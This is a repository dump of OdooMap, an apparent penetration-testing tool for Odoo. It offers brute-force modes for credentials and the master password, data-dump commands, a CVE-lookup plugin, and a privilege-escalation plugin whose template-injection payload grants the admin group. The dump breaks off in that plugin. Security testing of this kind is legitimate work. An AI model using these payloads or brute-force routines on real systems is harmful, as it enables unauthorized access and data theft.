├── odoomap ├── __init__.py ├── data │ ├── default_usernames.txt │ ├── default_passwords.txt │ ├── default_models.txt │ └── odoo_18 │ │ └── v18-models.txt ├── plugins │ ├── __init__.py │ ├── plugin_base.py │ ├── cve-scanner.py │ └── old-odoo-privesc.py ├── utils │ ├── colors.py │ └── brute_display.py ├── plugin_manager.py ├── actions.py ├── core.py └── connect.py ├── requirements.txt ├── odoomap.py ├── pyproject.toml ├── .gitignore ├── README.md └── LICENSE /odoomap/__init__.py: -------------------------------------------------------------------------------- 1 | __version__ = "1.4.3" -------------------------------------------------------------------------------- /odoomap/data/default_usernames.txt: -------------------------------------------------------------------------------- 1 | admin 2 | demo 3 | user 4 | odoo 5 | administrator 6 | test -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MohamedKarrab/odoomap/HEAD/requirements.txt -------------------------------------------------------------------------------- /odoomap/data/default_passwords.txt: -------------------------------------------------------------------------------- 1 | admin 2 | password 3 | demo 4 | odoo 5 | 123456 6 | 12345678 7 | test 8 | Master -------------------------------------------------------------------------------- /odoomap.py: -------------------------------------------------------------------------------- 1 | # Just a wrapper for core.py 2 | from odoomap.core import main 3 | 4 | if __name__ == "__main__": 5 | main() 6 | -------------------------------------------------------------------------------- /odoomap/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | # Plugin package for OdooMap 2 | """ 3 | OdooMap Plugin System 4 | 5 | This package contains all available plugins for the OdooMap security assessment tool. 6 | """ 7 | -------------------------------------------------------------------------------- /odoomap/utils/colors.py: -------------------------------------------------------------------------------- 1 | class Colors: 2 | HEADER = '\033[92m' # Bright Green 3 | OKGREEN = '\033[32m' # Green 4 | OKCYAN = '\033[36m' # Cyan 5 | WARNING = '\033[93m' # Yellow 6 | FAIL = '\033[91m' # Red 7 | ENDC = '\033[0m' # Reset 8 | BOLD = '\033[1m' 9 | UNDERLINE = '\033[4m' 10 | 11 | # Status prefixes (short aliases) 12 | i = INFO = f"{OKCYAN}[*]{ENDC}" 13 | s = SUCCESS = f"{OKGREEN}[+]{ENDC}" 14 | e = ERROR = f"{FAIL}[-]{ENDC}" 15 | w = WARN = f"{WARNING}[!]{ENDC}" 16 | t = TRYING = f"{OKCYAN}[>]{ENDC}" -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [project] 2 | name = "odoomap" 3 | dynamic = ["version"] 4 | description = "Odoo Security Assessment Tool" 5 | authors = [{ name = "Mohamed Karrab" }] 6 | license = { text = "Apache-2.0" } 7 | readme = "README.md" 8 | dependencies = [ 9 | "requests>=2.25,<3", 10 | "beautifulsoup4>=4.9,<5", 11 | "rich>=14.0.0" 12 | ] 13 | requires-python = ">=3.9" 14 | 15 | [build-system] 16 | requires = ["hatchling"] 17 | build-backend = "hatchling.build" 18 | 19 | [tool.hatch.build.targets.wheel] 20 | packages = ["odoomap"] 21 | 22 | [tool.hatch.build] 23 | include = [ 24 | "odoomap/data/*", 25 | "odoomap/plugins/*", 26 | "odoomap/utils/*" 27 | ] 28 | 29 | [project.scripts] 30 | odoomap = "odoomap.core:main" 31 | 32 | [tool.hatch.version] 33 | path = "odoomap/__init__.py" -------------------------------------------------------------------------------- /odoomap/utils/brute_display.py: -------------------------------------------------------------------------------- 1 | import time 2 | from rich.console import Console 3 | from rich.live import Live 4 | from rich.text import Text 5 | 6 | console = Console() 7 | 8 | class BruteDisplay: 9 | def __init__(self, total): 10 | self.total = total 11 | self.attempts = 0 12 | self.errors = 0 13 | self.successes = [] 14 | self.start_time = time.time() 15 | self.last_attempt_time = self.start_time 16 | self.live = Live(self._render("", 0, 0), console=console, refresh_per_second=10, auto_refresh=True, 17 | transient=False) 18 | self.live.__enter__() 19 | 20 | def _render(self, current_try, attempts, errors): 21 | elapsed = time.time() - self.start_time 22 | rps = attempts / elapsed if elapsed > 0 else 0 23 | percent = (attempts / self.total * 100) if self.total > 0 else 0 24 | 25 | # build manually with Text to avoid auto coloring 26 | text = Text() 27 | text.append(f"{current_try}\n", style="white") 28 | text.append(f"{attempts}", style="white") 29 | text.append(f"/{self.total} ", style="white") 30 | text.append(f"({percent:.1f}%)", style="yellow") 31 | text.append(" | ") 32 | text.append(f"{rps:.2f}", style="bold magenta") 33 | text.append(" req/s | ") 34 | text.append(f"{int(elapsed)}s", style="bold green") 35 | text.append(" elapsed | errors: ") 36 | text.append(f"{errors}", style="bold red") 37 | 38 | return text 39 | 40 | def update(self, current_try): 41 | self.attempts += 1 42 | self.last_attempt_time = time.time() 43 | self.live.update(self._render(current_try, self.attempts, self.errors)) 44 | 45 | def add_success(self, msg): 46 | self.successes.append(msg) 47 | console.print(f"[green] [+][/green] {msg}") 48 | 49 | def add_error(self, msg=""): 50 | self.errors += 1 51 | if msg: 52 | console.print(f"[red]ERROR:[/red] {msg}") 53 | 54 | def stop(self): 55 | self.live.__exit__(None, None, None) 56 | elapsed = time.time() - self.start_time 57 | rps = self.attempts / elapsed if elapsed > 0 else 0 58 | console.print( 59 | f"\n", 60 | f"[white]Process complete:[/white]", end="" 61 | ) 62 | 63 | if len(self.successes) > 0: 64 | console.print(f"[green] Success={len(self.successes)}") 65 | else: 66 | console.print(f"[red] Success=0") 67 | -------------------------------------------------------------------------------- /odoomap/plugins/plugin_base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Base plugin structure and metadata system for OdooMap plugins 4 | """ 5 | 6 | from abc import ABC, abstractmethod 7 | from typing import Dict, Any, Optional, List 8 | from dataclasses import dataclass 9 | from enum import Enum 10 | 11 | class PluginCategory(Enum): 12 | """Plugin categories for organization""" 13 | SECURITY = "security" 14 | ENUMERATION = "enumeration" 15 | EXPLOITATION = "exploitation" 16 | INFORMATION = "information" 17 | REPORTING = "reporting" 18 | 19 | @dataclass 20 | class PluginMetadata: 21 | """Simple metadata structure for plugins""" 22 | name: str 23 | description: str 24 | author: str 25 | version: str 26 | category: PluginCategory 27 | requires_auth: bool = False 28 | requires_connection: bool = True 29 | external_dependencies: Optional[List[str]] = None 30 | 31 | def __post_init__(self): 32 | if self.external_dependencies is None: 33 | self.external_dependencies = [] 34 | 35 | class BasePlugin(ABC): 36 | """Base class for all OdooMap plugins""" 37 | 38 | def __init__(self): 39 | self.metadata = self.get_metadata() 40 | 41 | @abstractmethod 42 | def get_metadata(self) -> PluginMetadata: 43 | """Return plugin metadata""" 44 | pass 45 | 46 | @abstractmethod 47 | def run(self, target_url: str, database: Optional[str] = None, 48 | username: Optional[str] = None, password: Optional[str] = None, 49 | connection: Optional[Any] = None) -> str: 50 | """ 51 | Main plugin execution method 52 | 53 | Args: 54 | target_url: Target Odoo instance URL 55 | database: Database name (optional) 56 | username: Username for authentication (optional) 57 | password: Password for authentication (optional) 58 | connection: Active connection object (optional) 59 | 60 | Returns: 61 | String result of plugin execution 62 | """ 63 | pass 64 | 65 | def validate_requirements(self, connection: Optional[Any] = None, 66 | username: Optional[str] = None, 67 | password: Optional[str] = None) -> bool: 68 | """Check if plugin requirements are met""" 69 | if self.metadata.requires_connection and connection is None: 70 | return False 71 | if self.metadata.requires_auth and (username is None or password is None): 72 | return False 73 | return True 74 | 75 | # Backward compatibility - keep the old Plugin name 76 | Plugin = BasePlugin 77 | -------------------------------------------------------------------------------- /odoomap/plugin_manager.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib 3 | from typing import Dict, Any 4 | 5 | def list_available_plugins(): 6 | """Just list plugin names without loading them""" 7 | plugin_dir = os.path.join(os.path.dirname(__file__), "plugins") 8 | if not os.path.exists(plugin_dir): 9 | return [] 10 | return [f[:-3] for f in os.listdir(plugin_dir) 11 | if f.endswith(".py") and not f.startswith("__") and f != "plugin_base.py"] 12 | 13 | def load_specific_plugin(plugin_name): 14 | """Load only the specified plugin""" 15 | try: 16 | # Try relative import first (for development) 17 | try: 18 | module = importlib.import_module(f".plugins.{plugin_name}", package="odoomap") 19 | except ImportError: 20 | # Fallback to absolute import (for installed package) 21 | module = importlib.import_module(f"odoomap.plugins.{plugin_name}") 22 | return module.Plugin() 23 | except (ImportError, AttributeError) as e: 24 | raise ValueError(f"Could not load plugin '{plugin_name}': {e}") 25 | 26 | def get_plugin_info() -> Dict[str, Any]: 27 | """Get plugin metadata with lightweight loading""" 28 | plugin_dir = os.path.join(os.path.dirname(__file__), "plugins") 29 | plugins_info = {} 30 | 31 | if not os.path.exists(plugin_dir): 32 | return plugins_info 33 | 34 | for file in os.listdir(plugin_dir): 35 | if file.endswith(".py") and not file.startswith("__") and file != "plugin_base.py": 36 | name = file[:-3] 37 | try: 38 | # Quick load to get metadata using same import logic 39 | try: 40 | module = importlib.import_module(f".plugins.{name}", package="odoomap") 41 | except ImportError: 42 | module = importlib.import_module(f"odoomap.plugins.{name}") 43 | plugin_instance = module.Plugin() 44 | 45 | if hasattr(plugin_instance, 'metadata'): 46 | plugins_info[name] = { 47 | 'name': plugin_instance.metadata.name, 48 | 'description': plugin_instance.metadata.description, 49 | 'author': plugin_instance.metadata.author, 50 | 'version': plugin_instance.metadata.version, 51 | 'category': plugin_instance.metadata.category.value, 52 | 'requires_auth': plugin_instance.metadata.requires_auth, 53 | 'requires_connection': plugin_instance.metadata.requires_connection, 54 | 'external_dependencies': plugin_instance.metadata.external_dependencies, 55 | 'file': file, 56 | 'loaded': False 57 | } 58 | else: 59 | plugins_info[name] = { 60 | 'name': name, 61 | 'description': 'No description available', 62 | 'author': 'Unknown', 63 | 'version': '1.0.0', 64 | 'category': 'unknown', 65 | 'requires_auth': False, 66 | 'requires_connection': True, 67 | 'external_dependencies': [], 68 | 'file': file, 69 | 'loaded': False 70 | } 71 | except Exception as e: 72 | plugins_info[name] = { 73 | 'name': name, 74 | 'description': f'Plugin load error: {e}', 75 | 'author': 'Unknown', 76 | 'version': '1.0.0', 77 | 'category': 'unknown', 78 | 'requires_auth': False, 79 | 'requires_connection': True, 80 | 'external_dependencies': [], 81 | 'file': file, 82 | 'loaded': False, 83 | 'error': str(e) 84 | } 85 | 86 | return plugins_info 87 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Custom: 2 | dump/ 3 | test/ 4 | unconfirmed/ 5 | 6 | # VSCode 7 | .vscode 8 | 9 | # Byte-compiled / optimized / DLL files 10 | __pycache__/ 11 | *.py[cod] 12 | *$py.class 13 | 14 | # C extensions 15 | *.so 16 | 17 | # Distribution / packaging 18 | .Python 19 | build/ 20 | develop-eggs/ 21 | dist/ 22 | downloads/ 23 | eggs/ 24 | .eggs/ 25 | lib/ 26 | lib64/ 27 | parts/ 28 | sdist/ 29 | var/ 30 | wheels/ 31 | share/python-wheels/ 32 | *.egg-info/ 33 | .installed.cfg 34 | *.egg 35 | MANIFEST 36 | 37 | # PyInstaller 38 | # Usually these files are written by a python script from a template 39 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 40 | *.manifest 41 | *.spec 42 | 43 | # Installer logs 44 | pip-log.txt 45 | pip-delete-this-directory.txt 46 | 47 | # Unit test / coverage reports 48 | htmlcov/ 49 | .tox/ 50 | .nox/ 51 | .coverage 52 | .coverage.* 53 | .cache 54 | nosetests.xml 55 | coverage.xml 56 | *.cover 57 | *.py,cover 58 | .hypothesis/ 59 | .pytest_cache/ 60 | cover/ 61 | 62 | # Translations 63 | *.mo 64 | *.pot 65 | 66 | # Django stuff: 67 | *.log 68 | local_settings.py 69 | db.sqlite3 70 | db.sqlite3-journal 71 | 72 | # Flask stuff: 73 | instance/ 74 | .webassets-cache 75 | 76 | # Scrapy stuff: 77 | .scrapy 78 | 79 | # Sphinx documentation 80 | docs/_build/ 81 | 82 | # PyBuilder 83 | .pybuilder/ 84 | target/ 85 | 86 | # Jupyter Notebook 87 | .ipynb_checkpoints 88 | 89 | # IPython 90 | profile_default/ 91 | ipython_config.py 92 | 93 | # pyenv 94 | # For a library or package, you might want to ignore these files since the code is 95 | # intended to run in multiple environments; otherwise, check them in: 96 | # .python-version 97 | 98 | # pipenv 99 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 100 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 101 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 102 | # install all needed dependencies. 103 | #Pipfile.lock 104 | 105 | # UV 106 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. 107 | # This is especially recommended for binary packages to ensure reproducibility, and is more 108 | # commonly ignored for libraries. 109 | #uv.lock 110 | 111 | # poetry 112 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 113 | # This is especially recommended for binary packages to ensure reproducibility, and is more 114 | # commonly ignored for libraries. 115 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 116 | #poetry.lock 117 | 118 | # pdm 119 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 120 | #pdm.lock 121 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 122 | # in version control. 123 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 124 | .pdm.toml 125 | .pdm-python 126 | .pdm-build/ 127 | 128 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 129 | __pypackages__/ 130 | 131 | # Celery stuff 132 | celerybeat-schedule 133 | celerybeat.pid 134 | 135 | # SageMath parsed files 136 | *.sage.py 137 | 138 | # Environments 139 | .env 140 | .venv 141 | env/ 142 | venv/ 143 | ENV/ 144 | env.bak/ 145 | venv.bak/ 146 | 147 | # Spyder project settings 148 | .spyderproject 149 | .spyproject 150 | 151 | # Rope project settings 152 | .ropeproject 153 | 154 | # mkdocs documentation 155 | /site 156 | 157 | # mypy 158 | .mypy_cache/ 159 | .dmypy.json 160 | dmypy.json 161 | 162 | # Pyre type checker 163 | .pyre/ 164 | 165 | # pytype static type analyzer 166 | .pytype/ 167 | 168 | # Cython debug symbols 169 | cython_debug/ 170 | 171 | # PyCharm 172 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 173 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 174 | # and can be added to the global gitignore or merged into this file. For a more nuclear 175 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 176 | #.idea/ 177 | 178 | # Ruff stuff: 179 | .ruff_cache/ 180 | 181 | # PyPI configuration file 182 | .pypirc -------------------------------------------------------------------------------- /odoomap/plugins/cve-scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | from rich.console import Console 4 | from rich.panel import Panel 5 | from rich.text import Text 6 | from rich.table import Table 7 | from rich.box import MINIMAL 8 | from .plugin_base import BasePlugin, PluginMetadata, PluginCategory 9 | 10 | console = Console() 11 | 12 | class Plugin(BasePlugin): 13 | """Searches for Odoo CVEs in the NVD database using the detected version""" 14 | 15 | # For testing purposes only - set to None in production 16 | # TEST_VERSION = "18" # Example: Test with Odoo 18 17 | TEST_VERSION = None 18 | 19 | def get_metadata(self) -> PluginMetadata: 20 | return PluginMetadata( 21 | name="CVE Scanner", 22 | description="Searches for known CVEs affecting the detected Odoo version using the NVD database", 23 | author="bohmiiidd", 24 | version="1.2.0", 25 | category=PluginCategory.SECURITY, 26 | requires_auth=False, 27 | requires_connection=True, 28 | external_dependencies=["requests", "rich"] 29 | ) 30 | 31 | def run(self, target_url, database=None, username=None, password=None, connection=None): 32 | if self.TEST_VERSION: 33 | version = self.TEST_VERSION 34 | console.print(f"[yellow][!] Running in test mode with hardcoded version: {version}") 35 | else: 36 | if not self.validate_requirements(connection=connection): 37 | return "Error: This plugin requires an active connection to detect Odoo version" 38 | 39 | if connection: 40 | version_info = connection.get_version() 41 | if not version_info: 42 | console.print("[red][-] Could not detect Odoo version") 43 | return "Error: Unable to detect Odoo version. Version detection is required for CVE scanning." 44 | else: 45 | raw_version = version_info.get("server_version") 46 | if not raw_version: 47 | console.print("[red][-] Server version not available in connection info") 48 | return "Error: Server version not available. Cannot perform CVE scan without version information." 49 | 50 | version = normalize_version(raw_version) 51 | if not version: 52 | console.print(f"[red][-] Could not parse version from: {raw_version}") 53 | return f"Error: Unable to parse version from '{raw_version}'" 54 | 55 | console.print(f"[green][+] Detected Odoo version: {raw_version} (searching for: {version})") 56 | else: 57 | console.print("[red][!] No connection provided - version detection failed") 58 | return "Error: No connection available for version detection. CVE scanning requires version information." 59 | 60 | # Query NVD 61 | try: 62 | console.print(f"[blue][*] Querying NVD database for Odoo {version} vulnerabilities...") 63 | data = search_nvd(version) 64 | except Exception as e: 65 | console.print(f"[red][-] Error querying NVD: {e}") 66 | return f"Error: Failed to query NVD database - {e}" 67 | 68 | vulns = data.get("vulnerabilities", []) 69 | if not vulns: 70 | console.print(f"[yellow][-] No CVEs found for Odoo {version}") 71 | return f"No CVEs found for Odoo version {version}" 72 | 73 | console.print(f"[green][+] Found {len(vulns)} unique CVE(s) for Odoo {version}:\n") 74 | 75 | results = [] 76 | for vuln in vulns: 77 | cve = vuln["cve"] 78 | cve_id = cve["id"] 79 | desc = safe_get_description(cve) 80 | score = format_score(cve) 81 | refs = format_references(cve) 82 | 83 | if score == "N/A": 84 | sev_style = "white" 85 | else: 86 | try: 87 | score_float = float(score) 88 | if score_float >= 9: 89 | sev_style = "magenta" 90 | elif score_float >= 7: 91 | sev_style = "bold red" 92 | elif score_float >= 4: 93 | sev_style = "yellow" 94 | else: 95 | sev_style = "green" 96 | except (ValueError, TypeError): 97 | sev_style = "white" 98 | 99 | table = Table(box=MINIMAL, show_header=False, padding=(0, 1)) 100 | table.add_column("Key", style="cyan") 101 | table.add_column("Value") 102 | table.add_row("CVE ID", Text(cve_id, style="bold")) 103 | table.add_row("CVSS Score", Text(score, style=sev_style)) 104 | table.add_row("Description", Text(desc, style="white")) 105 | 106 | ref_list = Text(" - ", style="blue") 107 | ref_list.append("\n - ".join(refs)) 108 | table.add_row("References", ref_list) 109 | 110 | console.print(Panel(table, title=f"[{sev_style}]{cve_id}[/{sev_style}]", border_style=sev_style)) 111 | 112 | results.append({ 113 | "cve_id": cve_id, 114 | "cvss_score": score, 115 | "description": desc, 116 | "references": refs 117 | }) 118 | 119 | return f"CVE scan completed. Found {len(vulns)} vulnerabilities for Odoo {version}" 120 | 121 | 122 | def normalize_version(version_string): 123 | """Extract major version number from Odoo version string""" 124 | match = re.search(r'(\d+)', str(version_string)) 125 | return match.group(1) if match else None 126 | 127 | def search_nvd(version): 128 | """Query NVD for Odoo CVEs for a given version""" 129 | url = "https://services.nvd.nist.gov/rest/json/cves/2.0" 130 | 131 | search_terms = [ 132 | f"odoo {version}", 133 | f"odoo {version}.0", 134 | f"odoo community {version}", 135 | f"odoo enterprise {version}" 136 | ] 137 | 138 | all_cves = [] 139 | for term in search_terms: 140 | try: 141 | params = {"keywordSearch": term} 142 | resp = requests.get(url, params=params, timeout=15) 143 | resp.raise_for_status() 144 | data = resp.json() 145 | vulns = data.get("vulnerabilities", []) 146 | all_cves.extend(vulns) 147 | except requests.RequestException: 148 | continue 149 | 150 | seen_cves = set() 151 | unique_cves = [] 152 | for vuln in all_cves: 153 | cve_id = vuln["cve"]["id"] 154 | if cve_id not in seen_cves: 155 | seen_cves.add(cve_id) 156 | unique_cves.append(vuln) 157 | 158 | return {"vulnerabilities": unique_cves} 159 | 160 | def format_score(cve): 161 | """Extract CVSS score if available""" 162 | metrics = cve.get("metrics", {}) 163 | if "cvssMetricV31" in metrics: 164 | return str(metrics["cvssMetricV31"][0]["cvssData"]["baseScore"]) 165 | if "cvssMetricV30" in metrics: 166 | return str(metrics["cvssMetricV30"][0]["cvssData"]["baseScore"]) 167 | if "cvssMetricV2" in metrics: 168 | return str(metrics["cvssMetricV2"][0]["cvssData"]["baseScore"]) 169 | return "N/A" 170 | 171 | def safe_get_description(cve): 172 | """Safely extract CVE description""" 173 | descriptions = cve.get("descriptions", []) 174 | if descriptions and len(descriptions) > 0: 175 | return descriptions[0].get("value", "No description available") 176 | return "No description available" 177 | 178 | def format_references(cve): 179 | """Extract first 2 references""" 180 | refs = [r["url"] for r in cve.get("references", [])] 181 | return refs[:2] if refs else ["No references"] -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | odoomap logo 3 | 4 |
5 | 6 | # OdooMap 7 | ![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg) 8 | ![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg) 9 | ![Python](https://img.shields.io/badge/Python-3.9-blue) 10 | ![Last Commit](https://img.shields.io/github/last-commit/MohamedKarrab/odoomap) 11 | [![Twitter](https://img.shields.io/twitter/url/https/twitter.com/cloudposse.svg?style=social&label=%20%40_karrab)](https://x.com/_Karrab) 12 | [![LinkedIn](https://img.shields.io/badge/-LinkedIn-black.svg?style=flat-square&logo=linkedin&colorB=555)](https://www.linkedin.com/in/mohamedkarrab/) 13 | 14 | 15 | **OdooMap** is a reconnaissance, enumeration, and security testing tool for [Odoo](https://www.odoo.com/) applications. 16 | 17 | ## Features 18 | 19 | - Detect Odoo version and metadata 20 | - Enumerate databases and accessible models 21 | - Authenticate and check CRUD permissions 22 | - Extract data from specific models 23 | - Brute-force login credentials & Master password 24 | - Brute-force internal model names 25 | - Extensible plugin system for security assessments 26 | 27 | ## Screenshots 28 | 29 | odoomap usage 30 |

31 | cve-scanner plugin: 32 | 33 | Pasted image 20250831151646 34 | 35 | ## Installation 36 | > :information_source: It is advisable to use `pipx` over `pip` for system-wide installations. 37 | ```bash 38 | git clone https://github.com/MohamedKarrab/odoomap.git && cd odoomap 39 | pipx ensurepath && pipx install . 40 | 41 | # Now restart your terminal and run 42 | odoomap -h 43 | 44 | # To update: 45 | pipx upgrade odoomap 46 | ``` 47 | *Or* 48 | ```bash 49 | git clone https://github.com/MohamedKarrab/odoomap.git 50 | cd odoomap 51 | pip install -r requirements.txt 52 | python odoomap.py -h 53 | ``` 54 | 55 | ## Usage Examples 56 | 57 | #### Basic Reconnaissance 58 | 59 | ```bash 60 | odoomap -u https://example.com 61 | ``` 62 | 63 | #### Authenticate and Enumerate Models 64 | 65 | ```bash 66 | odoomap -u https://example.com -D database_name -U admin -P pass -e -l 200 -o models.txt 67 | ``` 68 | 69 | #### Check Model Permissions (Read, Write, Create, Delete) 70 | 71 | ```bash 72 | odoomap -u https://example.com -D database_name -U test@example.com -P pass -e -pe -l 10 73 | ``` 74 | 75 | #### Dump Data from Specific Models 76 | 77 | ```bash 78 | odoomap -u https://example.com -D database_name -U admin -P pass -d res.users,res.partner -o ./output.txt 79 | ``` 80 | 81 | #### Dump Data from Model File 82 | 83 | ```bash 84 | odoomap -u https://example.com -D database_name -U admin -P pass -d models.txt -o ./dump 85 | ``` 86 | 87 | 88 | ## Brute-force Options 89 | 90 | #### Brute-force Database Names 91 | Case-sensitive, but db names are generally lowercase. 92 | ```bash 93 | odoomap -u https://example.com -n -N db-names.txt 94 | ``` 95 | 96 | #### Default Credentials Attack 97 | 98 | ```bash 99 | odoomap -u https://example.com -D database_name -b 100 | ``` 101 | 102 | #### Custom User & Pass Files 103 | 104 | ```bash 105 | odoomap -u https://example.com -D database_name -b --usernames users.txt --passwords passes.txt 106 | ``` 107 | 108 | #### User\:Pass Combo List 109 | 110 | ```bash 111 | odoomap -u https://example.com -D database_name -b -w wordlist.txt 112 | ``` 113 | 114 | #### Brute-force Master Password 115 | 116 | ```bash 117 | odoomap -u https://example.com -M -p pass_list.txt 118 | ``` 119 | 120 | ## Advanced Enumeration 121 | 122 | #### Brute-force Model Names 123 | 124 | ```bash 125 | odoomap -u https://example.com -D database_name -U admin -P pass -e -B --model-file models.txt 126 | ``` 127 | 128 | #### Recon + Enumeration + Dump 129 | 130 | ```bash 131 | odoomap -u https://example.com -D database_name -U admin -P pass -r -e -pe -d res.users -o ./output 132 | ``` 133 | 134 | ## Plugin System 135 | 136 | #### List Available Plugins 137 | 138 | ```bash 139 | odoomap --list-plugins 140 | ``` 141 | 142 | #### Run CVE Scanner Plugin 143 | 144 | ```bash 145 | odoomap -u https://example.com --plugin cve-scanner 146 | ``` 147 | 148 | #### Run Plugin with Authentication 149 | 150 | ```bash 151 | odoomap -u https://example.com -D database_name -U admin -P pass --plugin cve-scanner 152 | ``` 153 | 154 | 155 | ## Full Usage 156 | 157 | ``` 158 | usage: odoomap.py [-h] [-u URL] [-D DATABASE] [-U USERNAME] [-P [PASSWORD]] [-r] [-e] [-pe] [-l LIMIT] [-o OUTPUT] [-d DUMP] [-B] [--model-file MODEL_FILE] [-b] [-w WORDLIST] [--usernames USERNAMES] [--passwords PASSWORDS] [-M] [-p MASTER_PASS] [-n] [-N DB_NAMES_FILE] [--plugin PLUGIN] [--list-plugins] 159 | 160 | Odoo Security Assessment Tool 161 | 162 | options: 163 | -h, --help show this help message and exit 164 | -u, --url URL Target Odoo server URL 165 | -D, --database DATABASE 166 | Target database name 167 | -U, --username USERNAME 168 | Username for authentication 169 | -P, --password [PASSWORD] 170 | Password for authentication (prompts securely if no value provided) 171 | -r, --recon Perform initial reconnaissance 172 | -e, --enumerate Enumerate available model names 173 | -pe, --permissions Enumerate model permissions (requires -e) 174 | -l, --limit LIMIT Limit results for enumeration or dump operations 175 | -o, --output OUTPUT Output file for results 176 | -d, --dump DUMP Dump data from specified model(s); accepts a comma-separated list or a file path containing model names (one per line) 177 | -B, --bruteforce-models 178 | Bruteforce model names instead of listing them (default if listing fails) 179 | --model-file MODEL_FILE 180 | File containing model names for bruteforcing (one per line) 181 | -b, --bruteforce Bruteforce login credentials (requires -D) 182 | -w, --wordlist WORDLIST 183 | Wordlist file for bruteforcing in user:pass format 184 | --usernames USERNAMES 185 | File containing usernames for bruteforcing (one per line) 186 | --passwords PASSWORDS 187 | File containing passwords for bruteforcing (one per line) 188 | -M, --bruteforce-master 189 | Bruteforce the database's master password 190 | -p, --master-pass MASTER_PASS 191 | Wordlist file for master password bruteforcing (one password per line) 192 | -n, --brute-db-names Bruteforce database names 193 | -N, --db-names-file DB_NAMES_FILE 194 | File containing database names for bruteforcing (case-sensitive) 195 | --plugin PLUGIN Run a specific plugin by name (from odoomap/plugins/) 196 | --list-plugins List all available plugins with metadata 197 | ``` 198 | 199 | ## Plugin Development 200 | 201 | OdooMap features an extensible plugin system for custom security assessments. Plugins are located in `odoomap/plugins/` and follow a standardized interface. 202 | 203 | ### Built-in Plugins 204 | 205 | - **CVE Scanner**: Searches for known CVEs affecting the detected Odoo version using the NVD database 206 | 207 | ### Creating Custom Plugins 208 | 209 | 1. Create a new Python file in `odoomap/plugins/` 210 | 2. Inherit from `BasePlugin` class 211 | 3. Implement required methods: 212 | - `get_metadata()`: Return plugin information 213 | - `run()`: Main plugin logic 214 | 215 | ## License 216 | 217 | Apache License 2.0, see [LICENSE](https://github.com/MohamedKarrab/odoomap/blob/main/LICENSE) 218 | 219 | ## Notice 220 | OdooMap is an independent project and is not affiliated with, endorsed by, or sponsored by Odoo S.A. or the official Odoo project in any way. 221 | 222 | ## Disclaimer 223 | 224 | This tool is for lawful security and penetration testing with proper authorization. Unauthorized use is strictly prohibited. The author assumes no liability for any misuse or damage resulting from the use of this tool. 225 | 226 | ## Contributions 227 | 228 | Feel free to open issues or submit pull requests for enhancements or bug fixes! 229 | -------------------------------------------------------------------------------- /odoomap/plugins/old-odoo-privesc.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | import re 3 | from ..utils.colors import Colors 4 | from .plugin_base import BasePlugin, PluginMetadata, PluginCategory 5 | 6 | class VulnerableStatus(Enum): 7 | VULNERABLE = 1 8 | UNKNOWN = 2 9 | NOT_VULNERABLE = 3 10 | 11 | class Plugin(BasePlugin): 12 | """Exploit in Odoo allowing any authenticated user to 13 | execute 'some' arbitrary python code on the server. 14 | Thus changing their own groups. 15 | 16 | By Guilhem RIOUX (@jrjgjk) 17 | Orange Cyberdefense 18 | """ 19 | MAX_VERSION = "15.0" # striclty below 20 | MIN_VERSION = "9.0" 21 | 22 | def __init__(self): 23 | super().__init__() 24 | self.connection = None 25 | self.model = "res.users" 26 | 27 | def get_metadata(self) -> PluginMetadata: 28 | return PluginMetadata( 29 | name="Privilege escalation for old odoo versions", 30 | description="Try to escalate privileges of " +\ 31 | "the current user, target odoo < 15.0", 32 | author="jrjgjk", 33 | version="1.0.0", 34 | category=PluginCategory.EXPLOITATION, 35 | requires_auth=True, 36 | requires_connection=True, 37 | external_dependencies=[""] 38 | ) 39 | 40 | @classmethod 41 | def parse_version(cls, version_str): 42 | """Convert a version string like '14.0' into a tuple (14,0)""" 43 | return tuple(int(x) for x in version_str.split(".") if x.isdigit()) 44 | 45 | @classmethod 46 | def is_version_vulnerable(cls, version): 47 | """ 48 | Compare the version of the target with those 49 | stored on the class fields (no external packages needed) 50 | """ 51 | if isinstance(version, str): 52 | version = cls.parse_version(version) 53 | 54 | min_v = cls.parse_version(cls.MIN_VERSION) 55 | max_v = cls.parse_version(cls.MAX_VERSION) 56 | 57 | return min_v <= version < max_v 58 | 59 | @staticmethod 60 | def get_payload(): 61 | """ 62 | Return the payload that will be injected inside 63 | an Odoo mail template 64 | """ 65 | payload = '${ object.sudo().write({"groups_id": [(4, object.sudo().env.ref("base.group_system").id)]}) }' 66 | return payload 67 | 68 | def get_values_to_write(self): 69 | """ 70 | Get the dictionary of values that will be written 71 | to the `mail.template` table 72 | """ 73 | return {"lang": self.__class__.get_payload(), 74 | "model": self.model} 75 | 76 | def _is_module_loaded(self): 77 | """ 78 | Check if the module is loaded 79 | """ 80 | try: 81 | self.connection.models.execute_kw( 82 | self.connection.db, self.connection.uid, self.connection.password, 83 | "mail.template", 'search', [[]], {'limit': 1}) 84 | except Exception as e: 85 | return False 86 | return True 87 | 88 | def check(self, db, username, password): 89 | """ 90 | Check if the target is vulnerable. 91 | 92 | A target is 